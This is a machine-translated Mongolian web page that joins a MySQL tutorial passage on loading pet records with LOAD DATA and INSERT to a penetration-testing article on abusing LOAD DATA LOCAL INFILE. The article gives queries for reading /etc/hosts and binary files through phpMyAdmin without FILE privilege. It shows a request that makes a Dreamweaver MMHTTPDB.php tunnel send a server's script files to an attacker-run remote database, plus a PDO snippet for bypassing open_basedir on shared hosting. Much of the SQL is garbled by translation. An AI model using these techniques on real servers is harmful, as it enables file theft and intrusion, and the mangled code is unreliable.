дэх оператор 6.4 MySQL дахь логик операторууд 6.5 MySQL дахь салбарлах функцууд 6.6 MySQL дахь мөрт функцууд

Хүснэгтийг үүсгэсний дараа та үүнийг мэдээллээр дүүргэх ёстой. Заавар ба INSERTүүнд ашигтай. Тэд хэрхэн ажилладаг талаар бид бага зэрэг дараа ярих болно, гэхдээ одоо хүснэгтэд оруулах шаардлагатай өгөгдлийн талаар бодож үзье. Тэд яг ямар харагддаг вэ?

Таны зэрлэг ан амьтдын бүртгэлийг доор тайлбарлаж болно гэж бодъё. MySQL нь огноог жил, сар, өдрийн форматаар тооцдог бөгөөд энэ нь таны дассан зүйлээс өөр байж болохыг анхаарна уу. Оныг 4 оронтой тоогоор оруулах нь дээр. MySQL нь хоёр оронтой жилийн утгыг зөв зохицуулах нэлээд төвөгтэй алгоритмтай боловч та одоохондоо үүнийг тооцоолох шаардлагагүй тул өгөгдлийг хоёрдмол утгагүйгээр оруулъя. Бидний жишээн дээрх амьтдын бүх мэдээллийг Хүснэгт 2.2-т үзүүлэв.

Хүснэгт 2.2. Амьтны мэдээлэл

нэр эзэн төрөл зүйл секс төрөлт үхэл
Сэвсгэр Харолд муур е 1993-02-04
Сэвсгэр Харолд муур е 1993-02-04
Хумс Гвен муур м 1994-03-17
Баффи Харолд нохой е 1989-05-13
Соёо Бенни нохой м 1990-08-27
Баузер Дайан нохой м 1989-08-31 1995-07-29
Чичиргээтэй Гвен шувуу е 1998-09-11
Whistler Гвен шувуу 1997-12-09
Нимгэн Бенни могой м 1996-04-29

Та хоосон хүснэгтээр эхэлж байгаа тул үүнийг бөглөх хамгийн хялбар арга бол өөрийн амьтан бүрт мөр агуулсан текст файл үүсгэж, дараа нь файлын агуулгыг зөвхөн нэг өгүүлбэрээр хүснэгтэд ачаалах явдал юм.

Та CREATE TABLE мэдэгдэлд багануудыг жагсаасан дарааллаар заасан цонхны цэгүүдээр тусгаарлагдсан, нэг мөрөнд нэг оруулга агуулсан pet.txt текст файл үүсгэж болно. Алга болсон утгуудын хувьд (үл мэдэгдэх хүйс эсвэл амьд байгаа амьтдын үхсэн огноо гэх мэт) та NULL утгыг ашиглаж болно. Тэдгээрийг текст файлд дүрслэхийн тулд шошгыг ашиглана уу. Жишээлбэл, Whistler шувууны тухай оруулга нь иймэрхүү харагдаж байна (би табыг заахдаа зай ашигладаг):

Whistler Gwen шувуу 1997-12-09

-д байрлах pet.txt текст файлаас өгөгдлийг ачаалах орон нутгийн компьютер(үйлчлүүлэгч) бөгөөд сервер дээр биш, гэрийн тэжээмэл амьтдын хүснэгтэд LOAD DATA командыг ашиглана уу:

Mysql> "pet.txt"-г TABLE pet руу ӨГӨГДЛИЙН локал INFILE АЧААРАЙ;

Түлхүүр үгс нь дараах утгыг агуулна. INFILEнь өгөгдлийг унших файлын нэр болох мөрийг тодорхойлдог. Нэр нь тэмдэгт мөр учраас хашилтанд бичигдсэн, эс тэгвээс MySQL үүнийг тоон илэрхийлэл болгон үнэлэхийг оролдох болно. ОРОН НУТГИЙНфайлыг сервер дээр биш харин клиент системээс хайх ёстойг харуулж байна. ШИРЭЭНД ОРУУЛАХ TABLE гэдэг үгийн дараа шууд нэр нь тодорхойлогдсон хүснэгтэд өгөгдлийг ачаалахыг зааварчилдаг (зайгаар тусгаарласан).

Хэрэв та хүсвэл баганын утга тусгаарлагч болон мөрийн төгсгөлийн тэмдэглэгээг мэдэгдэлд тодорхой зааж өгч болно, гэхдээ өгөгдмөл утгууд нь tab болон linefeed юм. Эдгээр нь pet.txt файлыг зөв уншихад хангалттай бөгөөд танд одоо өөр зүйл хэрэггүй.

Хэрэв та шинэ оруулгуудыг нэг нэгээр нь нэмэхийг хүсвэл зааварчилгаа хэрэгтэй болно INSERT. Хамгийн энгийнээр хэлбэл, та багана бүрийн утгыг CREATE TABLE мэдэгдэлд жагсаасан дарааллаар нь өгнө. Дайан шинэ шишүүхэй Паффбол хүлээн авлаа гэж бодъё. Та INSERT мэдэгдлийг ашиглан дараах шинэ оруулга нэмж болно.

Mysql> INSERT INTO pet
-> VALUES ("Puffball", "Diane", "haster", "f", "1999-03-30", "NULL");

Энд байгаа түлхүүр үгс нь тийм ч төвөгтэй биш юм. INTO pet нь оруулга ямар хүснэгтэд орохыг тодорхойлдог. ҮНЭ ЦЭНЭ-д оруулсан утгуудын жагсаалтыг зааж өгдөг шинэ оруулгахүснэгтэд. Утгуудыг таслалаар тусгаарлаж бүгдийг нь хаалтанд оруулсан болно.

Мөр болон огнооны утгыг тэмдэгт мөр гэж тодорхойлсон болохыг анхаарна уу. Та утга байхгүйг илэрхийлэхийн тулд шууд NULL (мөр хэлбэрээр биш) оруулж болно.

Хүснэгт рүү шууд ачаалахад бага зэрэг бичих шаардлагатайг та энэ жишээнээс харж болно. Заавар нь маш их цаг хэмнэсэн.

Би нэлээд нийтлэг нөхцөл байдлыг тайлбарлаж байна. Пентестийн үеэр алсын хост дээрх phpMyAdmin руу нэвтрэх эрхийг авсан боловч түүгээр дамжуулан файлуудад хандах боломжгүй байсан. Муу нэртэй FILE_PRIV=MySQL дэмон тохиргоонд ямар ч дарцаг буруутай. Олон хүмүүс энэ нөхцөл байдалд бууж өгч, хост дээрх файлуудыг цаашид ийм байдлаар унших боломжгүй гэдэгт итгэдэг. Гэхдээ энэ нь үргэлж тийм байдаггүй.

АНХААРУУЛГА

Бүх мэдээллийг зөвхөн мэдээллийн зорилгоор өгсөн болно. Энэ нийтлэлийн материалаас учирч болзошгүй хохирлыг редактор, зохиогч аль аль нь хариуцахгүй.

Оршил

MySQL DBMS-ийн файлын системтэй харилцах харилцааны тухайд тэд ихэвчлэн дараахь зүйлийг санаж байна.

  • сервер дээрх файлуудыг унших боломжийг олгодог LOAD_FILE функц;
  • шинэ файл үүсгэхэд ашиглаж болох SELECT ... INTO OUTFILE бүтэц.

Үүний дагуу, хэрэв та алсын компьютер дээр phpMyAdmin эсвэл бусад үйлчлүүлэгчдэд хандах боломжтой бол өндөр магадлалтайгаар MySQL-ээр дамжуулан файлын системд хандах боломжтой. Гэхдээ зөвхөн FILE_PRIV=yes гэсэн тугийг демон тохиргоонд суулгасан тохиолдолд л тийм байдаггүй. Энэ тохиолдолд бид бага танигдсан, гэхдээ нэлээд хүчирхэг функцтэй өөр операторын талаар санах хэрэгтэй. Би LOAD DATA INFILE операторын талаар ярьж байна, түүний онцлог шинж чанаруудыг энэ нийтлэлд авч үзэх болно.

PHP болон MySQL хоорондын харилцан үйлчлэл

РНР бол вэб программ үүсгэх хамгийн түгээмэл хэл тул өгөгдлийн сантай хэрхэн харьцаж байгааг сайтар судалж үзэх нь зүйтэй.

PHP4 дээр MySQL клиентийн сангууд нь анхдагчаар орсон бөгөөд PHP түгээлтэд багтсан байсан тул суулгах явцад та зөвхөн сонголтоо зааж MySQL-г ашиглахаас татгалзаж болно.

Mysql-гүй.

PHP5 нь үйлчлүүлэгчийн номын сангүйгээр ирдэг. *nix систем дээр PHP5-ийг ихэвчлэн сервер дээр суулгасан libmysqlclient номын сантай, зүгээр л сонголтыг тохируулснаар хөрвүүлдэг.

With-mysql=/usr

угсралтын үеэр. Гэсэн хэдий ч 5.3 хувилбар хүртэл MySQL сервертэй харилцахын тулд доод түвшний MySQL Client Library (libmysql) ашигладаг бөгөөд энэ нь PHP програмуудтай харилцахад оновчтой бус интерфейс юм.

PHP 5.3 ба түүнээс дээш хувилбаруудын хувьд MySQL Native Driver (mysqlnd) боловсруулсан бөгөөд саяхан гарсан PHP 5.4 хувилбарт энэ драйверийг анхдагч байдлаар ашигладаг. Хэдийгээр суурилагдсан MySQL драйвер нь PHP-ийн өргөтгөл хэлбэрээр бичигдсэн боловч энэ нь PHP програмистад шинэ API өгөхгүй гэдгийг ойлгох нь чухал. Програмистад зориулсан MySQL өгөгдлийн сангийн API-г MySQL, mysqli болон PDO_MYSQL өргөтгөлөөр хангадаг. Эдгээр өргөтгөлүүд нь MySQL дэмонтой холбогдохын тулд суулгасан MySQL драйверийг ашиглаж болно.

Суурилуулсан MySQL драйверийг ашиглах нь MySQL клиентийн номын сангаас зарим давуу талыг өгдөг: жишээлбэл, та PHP-г бүтээх эсвэл мэдээллийн сангийн скрипт ашиглахын тулд MySQL суулгах шаардлагагүй. MySQL Native Driver болон libmysql-ээс юугаараа ялгаатай талаар дэлгэрэнгүй мэдээллийг баримтаас авах боломжтой.

MySQL, mysqli болон PDO_MYSQL өргөтгөлүүдийг libmysql эсвэл mysqlnd ашиглахаар тус тусад нь тохируулж болно. Жишээлбэл, MySQL өргөтгөлийг MySQL Client Library, MySQL өргөтгөлийг MySQL Native Driver-тай ажиллахаар тохируулахын тулд та дараах сонголтуудыг зааж өгөх ёстой.

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

LOAD DATA Синтакс

Баримт бичигт дурдсанчлан LOAD DATA мэдэгдэл нь файлын мөрүүдийг уншиж, хүснэгтэд маш өндөр хурдтайгаар ачаалдаг. Үүнийг хамт ашиглаж болно түлхүүр үг LOCAL (MySQL 3.22.6 болон түүнээс хойшхи хувилбаруудад боломжтой) нь өгөгдлийг хаанаас ачаалахыг зааж өгдөг. Хэрэв LOCAL гэсэн үг байхгүй бол сервер нь заасан файлыг үйлчлүүлэгчийн машинаас биш өөрийн дотоод машинаас хүснэгтэд ачаална. Өөрөөр хэлбэл, файлыг MySQL клиент уншихгүй, харин MySQL сервер унших болно. Гэхдээ энэ үйлдэл нь дахин FILE эрхийг шаарддаг (FILE_PRIV=тийм туг). Энэ тохиолдолд мэдэгдлийг гүйцэтгэх нь LOAD_FILE функцийг ашиглахтай харьцуулж болно - цорын ганц ялгаа нь өгөгдөл нь гаралт биш харин хүснэгтэд ачаалагдсан байдаг. Тиймээс, LOAD DATA INFILE-г ашиглан файлуудыг унших нь зөвхөн LOAD_FILE функц байхгүй үед, өөрөөр хэлбэл MySQL серверийн маш хуучин хувилбаруудад хэрэг болно.

Гэхдээ операторыг дараах хэлбэрээр ашигладаг бол: LOAD DATA LOCAL INFILE, өөрөөр хэлбэл LOCAL гэдэг үгийг ашиглан файлыг клиент программ (үйлчлүүлэгчийн машин дээр) уншиж, мэдээллийн сан байрладаг сервер рүү илгээдэг. Энэ тохиолдолд файлд хандахын тулд FILE эрх нь мэдээжийн хэрэг биш юм (учир нь бүх зүйл үйлчлүүлэгчийн машин дээр тохиолддог).

MySQL/mysqli/PDO_MySQL өргөтгөлүүд болон LOAD DATA LOCAL мэдэгдэл

MySQL өргөтгөлд LOCAL-г ашиглах чадварыг PHP_INI_SYSTEM mysql.allow_local_infile удирдамжаар удирддаг. Анхдагч байдлаар, энэ заавар нь 1 гэсэн утгатай тул бидэнд хэрэгтэй оператор ихэвчлэн бэлэн байдаг. Мөн mysql_connect функц нь тав дахь аргумент 128 тогтмолыг агуулж байвал LOAD DATA LOCAL-ийг ашиглах боломжийг идэвхжүүлэх боломжийг олгоно.

Өгөгдлийн сантай холбогдохын тулд PDO_MySQL өргөтгөлийг ашиглах үед бид PDO::MYSQL_ATTR_LOCAL_INFILE (бүхэл тоо) тогтмолыг ашиглан LOCAL дэмжлэгийг идэвхжүүлж болно.

$pdo = шинэ PDO("mysql:host=localhost;dbname=mydb", "хэрэглэгч", "pass", массив(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Гэхдээ LOAD DATA оператортой ажиллах хамгийн том боломжийг mysqli өргөтгөлөөр хангадаг. Энэ өргөтгөл нь PHP_INI_SYSTEM заавар mysqli.allow_local_infile-ийг өгдөг бөгөөд энэ нь LOCAL-ийн хэрэглээг зохицуулдаг.

Хэрэв холболт mysqli_real_connect-ээр хийгдсэн бол mysqli_options-ийг ашиглан бид LOCAL дэмжлэгийг идэвхжүүлж, идэвхгүй болгож болно. Нэмж дурдахад mysqli_set_local_infile_handler функцийг энэ өргөтгөлд ашиглах боломжтой бөгөөд энэ нь LOAD DATA LOCAL INFILE мэдэгдлээр уншсан файлуудын агуулгыг зохицуулах буцаан дуудлагын функцийг бүртгэх боломжийг олгодог.

Файлуудыг уншиж байна

Хэрэв бид phpMyAdmin-д бүртгэлтэй бол бид FILE эрхгүйгээр дурын файлуудыг уншиж, тэр ч байтугай open_basedir хязгаарлалтыг давж чадна гэдгийг анхааралтай уншигч аль хэдийн таамагласан байх. Эцсийн эцэст, үйлчлүүлэгч (энэ тохиолдолд phpMyAdmin) болон MySQL дэмон хоёулаа нэг машин дээр байрладаг. MySQL серверийн аюулгүй байдлын бодлогын хязгаарлалтыг үл харгалзан бид энэ бодлого нь үйлчлүүлэгчид хамаарахгүй бөгөөд өгөгдлийн сан руу түлхэх замаар системээс файлуудыг уншдаг гэдгийг бид ашиглаж болно.

Алгоритм нь энгийн. Дараах SQL асуулгыг гүйцэтгэхэд хангалттай.

  1. Бид файлуудын агуулгыг бүртгэх хүснэгтийг үүсгэдэг: CREATE TABLE temp(контент текст);
  2. Бид үүсгэсэн хүснэгтэд файлын агуулгыг илгээдэг: "/etc/hosts" ӨГӨГДӨЛ ОРОН INFILE-г "eof"-ээр дуусгавар болсон "" МӨРӨӨ ЦОГЦОГДСОН "eof"-ээр дуусгавар болсон TABLE temp FILDS DO LOAD;

Voila. /etc/hosts файлын агуулга одоо temp хүснэгтэд байна. Хоёртын файлуудыг унших шаардлагатай юу? Асуудалгүй. Хэрэв эхний алхамд бид дараах хүснэгтийг үүсгэвэл:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

дараа нь түүнд хоёртын файлуудыг ачаалах боломжтой болно. Файлын төгсгөлд нэмэлт битүүд нэмэгдэх нь үнэн, гэхдээ тэдгээрийг дурын зургаан өнцөгт засварлагч дээр устгаж болно. Ингэснээр та IonCube/Zend/TrueCrypt/NuSphere-ээр хамгаалагдсан скриптүүдийг серверээс татаж аваад кодыг нь тайлж болно.

LOAD DATA LOCAL INFILE-г хэрхэн ашиглаж болох өөр нэг жишээ бол Apache тохиргооны замыг олох явдал юм. Үүнийг дараах байдлаар хийнэ.

  1. Эхлээд бид хоёртын файлд хүрэх замыг олж мэдэх бөгөөд үүнийг хийхийн тулд дээр дурдсан аргыг ашиглан /proc/self/cmdline-г уншина уу.
  2. Дараа нь бид хоёртын файлыг шууд уншиж, HTTPD_ROOT/SERVER_CONFIG_FILE хайдаг.


Ийм нөхцөлд phpMyAdmin скриптүүд нь өгөгдлийн санд холбогдох үйлчлүүлэгчийн үүргийг гүйцэтгэх нь тодорхой байна. Мөн та phpMyAdmin-ийн оронд MySQL-тэй ажиллахын тулд өөр ямар ч вэб интерфэйсийг ашиглаж болно.

Жишээлбэл, та мэдээллийн санг нөөцлөх, сэргээхэд скрипт ашиглаж болно. 2007 онд Францын нэгэн хакер acidroot хочтой энэхүү тайлбар дээр үндэслэж phpBB админ самбараас файл унших боломжтой болгожээ.<= 2.0.22.

Хонгил нь тохиромжтой. Хонгил нь аюултай

Нарийн төвөгтэй вэб програмуудыг суулгахдаа жишээлбэл, скриптүүдийн анхны тохиргоо, тохируулга хийхэд мэдээллийн санд шууд хандах шаардлагатай байдаг. Тиймээс зарим тохиолдолд сервер дээр энгийн скрипт суулгахыг зөвлөж байна - MySQL Tunnel гэж нэрлэгддэг бөгөөд энэ нь хүнд phpMyAdmin-ийн оронд тохиромжтой клиент ашиглан өгөгдлийн сангийн асуулга хийх боломжийг олгодог.

Өгөгдлийн сантай ажиллах хэд хэдэн хонгил байдаг боловч бүгд тийм ч түгээмэл биш юм. Магадгүй хамгийн алдартай нь Macromedia Dream Weaver серверийн скриптүүд юм. Та энэ скриптийн эх кодыг үзэх боломжтой.

MySQL Tunnel болон phpMyAdmin хоёрын гол ялгаа нь мэдээллийн баазын нэвтрэх болон нууц үгээ оруулахаас гадна холбогдох хостыг оруулах хэрэгцээ юм. Үүний зэрэгцээ хонгилууд ихэвчлэн идэвхтэй хэвээр үлддэг тул өөр юуг тохируулах шаардлагатайг та хэзээ ч мэдэхгүй. Хэрэв та мэдээллийн санд бүртгэлтэй бол л тэдгээрийг ашиглах боломжтой юм шиг санагдаж байна - тэгвэл яагаад айгаад байгаа юм бэ? Товчхондоо, туннель нь вэб серверт аюулгүй байдлын онцгой аюул занал учруулахгүй байх шиг байна. Гэвч бодит байдал дээр бүх зүйл анх харахад тийм ч сайхан байдаггүй.

Дараах нөхцөл байдлыг авч үзье. А серверийг http://site.com/_mmServerScripts/MMHTTPDB.php тогтсон туннел бүхий site.com вэбсайттай болго. А сервер дээр LOAD DATA LOCAL-г ашиглах боломжтой гэж үзье (дээр дурдсанчлан, энэ нь жишээлбэл, анхдагч тохиргоотой байж болно). Энэ тохиолдолд бид өгөгдлийн санд хаанаас ч хандаж болох, LOCAL ашиглах боломжийг олгодог алсын MySQL серверийг авч, туннель ашиглан энэ серверт холбогдох боломжтой. Алсын MySQL серверт холбогдох өгөгдөл:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

Энэ тохиолдолд сервер А нь үйлчлүүлэгчийн үүргийг гүйцэтгэх тул бид түүний хостоос алсын мэдээллийн сан руу файл илгээх эсвэл өөрөөр хэлбэл файлуудыг унших боломжтой. Дараах энгийн асуултын тусламжтайгаар:

Төрөл=MYSQL&Хугацаа=100&Хост=xx.xx.xx.xxx&Өгөгдлийн сан=нэр_алсын_db&ХэрэглэгчийнНэр=манай_хэрэглэгч&Нууц үг=манай_пасс&opCode=ExecuteSQL&SQL=ӨГӨГДӨЛ ДОТООД INFILE-г Ачаалах /path/to/script-ийн INFILE-г ачаалах. "__eof__" ESCAP ED BY "-ээр дуусгавар болсон. " "__eof__"-ээр дуусгавар болсон мөрүүд

Үнэн хэрэгтээ энэ эмзэг байдал нь ердийн файл уншихаас илүү аюултай: эцэст нь энэ нь танд А сервер дээр суулгасан скриптүүдийн тохиргооны файлуудыг унших боломжийг олгодог. Нэг хонгилоор дамжуулан эдгээр скриптүүдийг удирддаг мэдээллийн сан руу шууд нэвтрэх боломжтой. Булчингийн хонгилыг ашиглахын тулд дээр дурдсан техникийг бага зэрэг ерөнхийд нь тайлбарлаж, сул талыг ашиглах үед хэрэглэж болно.


Үйлчлүүлэгч-сервер

LOAD DATA-ийн чадавхийг илүү сайн ойлгохын тулд MySQL DBMS нь клиент-серверийн уламжлалт архитектурыг ашигладаг гэдгийг санах хэрэгтэй. MySQL-тэй ажиллахдаа бид хоёр программтай ажилладаг:

  • Өгөгдлийн сан хадгалагдаж буй компьютер дээр байрлах өгөгдлийн сангийн серверийн програм. Mysqld демон нь сүлжээгээр дамжуулан үйлчлүүлэгчийн хүсэлтийг сонсож, мэдээллийн баазын агуулгад нэвтэрч, үйлчлүүлэгчдийн хүссэн мэдээллээр хангадаг. Хэрэв mysqld-г --local-infile=0 сонголтоор эхлүүлсэн бол LOCAL ажиллахгүй;
  • Клиент програм нь серверт холбогдож хүсэлтийг сервер рүү дамжуулдаг. MySQL DBMS түгээлт нь хэд хэдэн клиент програмуудыг агуулдаг: MySQL консол клиент (хамгийн түгээмэл хэрэглэгддэг), түүнчлэн mysqldump, mysqladmin, mysqlshow, mysqlimport гэх мэт. Шаардлагатай бол та MySQL DBMS-тэй хамт ирдэг стандарт libmysql клиент номын сан дээр үндэслэн өөрийн клиент програмыг үүсгэж болно.

Хэрэв та стандарт MySQL клиентийг ашиглахдаа LOAD DATA LOCAL мэдэгдлийг ашиглах боломжгүй бол --local-infile шилжүүлэгчийг ашиглах хэрэгтэй:

Mysql --local-infile sampdb mysql> DATA LOCAL INFILE "member.txt"-г TABLE гишүүнд АЧААХ;

Эсвэл /my.cnf файлд үйлчлүүлэгчийн сонголтыг зааж өгнө үү:

Local-infile=1

Анхдагч байдлаар MySQL 3.23.48 болон түүнээс өмнөх хувилбаруудтай нийцтэй байхын тулд бүх MySQL клиентүүд болон номын сангууд --enable-local-infile сонголтоор хөрвүүлэгддэг тул LOAD DATA LOCAL нь ихэвчлэн стандарт үйлчлүүлэгчдэд боломжтой байдаг гэдгийг анхаарах нь чухал. Гэсэн хэдий ч MySQL сервер рүү командуудыг ихэвчлэн консолоос биш харин скриптүүдээс илгээдэг тул вэб хөгжүүлэлтийн хэлүүд нь стандарт MySQL клиентээс ялгаатай байж болох мэдээллийн сантай ажиллах үйлчлүүлэгчидтэй байдаг.

Мэдээжийн хэрэг, LOAD DATA мэдэгдлийн энэ функц нь системийн аюулгүй байдалд заналхийлж болзошгүй тул MySQL 3.23.49 ба MySQL 4.0.2 (Win-д зориулсан 4.0.13) хувилбаруудаас эхлэн LOCAL сонголт нь зөвхөн үйлчлүүлэгч хоёулаа л ажиллах болно. болон сервер үүнийг идэвхжүүлнэ.

Open_basedir хязгаарлалтыг алгасах

LOAD DATA-г ихэвчлэн ашиглах нь open_basedir хязгаарлалтыг тойрч гарах боломжийг олгодог. Жишээлбэл, бид хуваалцсан хостинг дээр нэг хэрэглэгчийн лавлах руу хандах боломжтой боловч өөр хэрэглэгчийн гэрийн лавлахаас скрипт уншихыг хүсч байвал энэ нь ашигтай байж болно. Дараа нь энэ скриптийг суулгана

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" "__eof__"-аар дуусгавар болсон "" МӨРӨӨГӨӨ "__eof__"-ээр дуусгавар болсон" ХҮСНЭГТИЙН тестийн талбаруудад АЧААРАЙ); $pdo = null; ?>

Дүгнэлт

LOAD DATA операторын тайлбарласан чадвар нь дор хаяж арван жилийн турш мэдэгдэж байгаа нь сонирхолтой юм. Энэ тухай дурьдсаныг жишээлбэл, тасалбараас [#15408] (Аюулгүй горим / MySQL Vuln 2002-02-06) олж болно, дараа нь үүнтэй төстэй асуултууд bugs.php.net [#21356] [#23779] дээр дахин гарч ирдэг. ] [#28632] [#31261] [#31711]. Хөгжүүлэгчид дараахь зүйлийг үгчлэн хариулав.

[имэйлээр хамгаалагдсан]Энэ бол алдаа биш, онцлог шинж чанартай :)

Эсвэл тэд "Статус: засахгүй" гэсэн тасалбар өгсөн. Эсвэл тэд бараг юу ч шийдээгүй засваруудаар хязгаарлагдаж байсан. Энэ сэдвээр тасалбар дахин гарч ирэв. Тиймээс open_basedir-ийг тойрч гарах тодорхой арга нь нэлээд олон тооны сервер дээр ажилладаг хэвээр байна. Гэсэн хэдий ч шинэ mysqlnd драйвер гарч ирснээр томоохон өөрчлөлт хийх шийдвэр гарсан бололтой: анхдагч суулгацын хувьд энэ оператор одоо огт ажиллахгүй [#54158] [#55737]. Ойрын ирээдүйд хөгжүүлэгчид энэ асуудлыг цэгцлэх болно гэж найдаж байна.